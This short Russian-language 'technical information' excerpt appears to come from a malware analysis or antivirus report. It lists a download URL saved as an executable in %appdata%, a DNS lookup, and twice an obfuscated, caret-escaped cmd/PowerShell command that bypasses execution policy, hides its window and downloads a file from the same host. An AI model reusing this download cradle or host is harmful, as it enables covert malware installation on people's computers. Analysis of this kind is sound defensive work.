Техническая информация
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^O^W^E^RsH^ELL^.^Exe -E^Xe^CutIoNpoL^i^cY^ ^bY^pas^S ^-^nopR^o^fI^L^e -wi^nd^OW^sT^ylE^ hIDDEn^ ^(NEw^-^oBjECt ^sy^STe^M^.^n^Et.^w^eBClIeNT).^Down^Lo^AdfiLE('http://zofelas...
- DNS ASK zo###aseo.top
- '<SYSTEM32>\cmd.exe' /c "p^O^W^E^RsH^ELL^.^Exe -E^Xe^CutIoNpoL^i^cY^ ^bY^pas^S ^-^nopR^o^fI^L^e -wi^nd^OW^sT^ylE^ hIDDEn^ ^(NEw^-^oBjECt ^sy^STe^M^.^n^Et.^w^eBClIeNT).^Down^Lo^AdfiLE('http://zofelas... (со скрытым окном)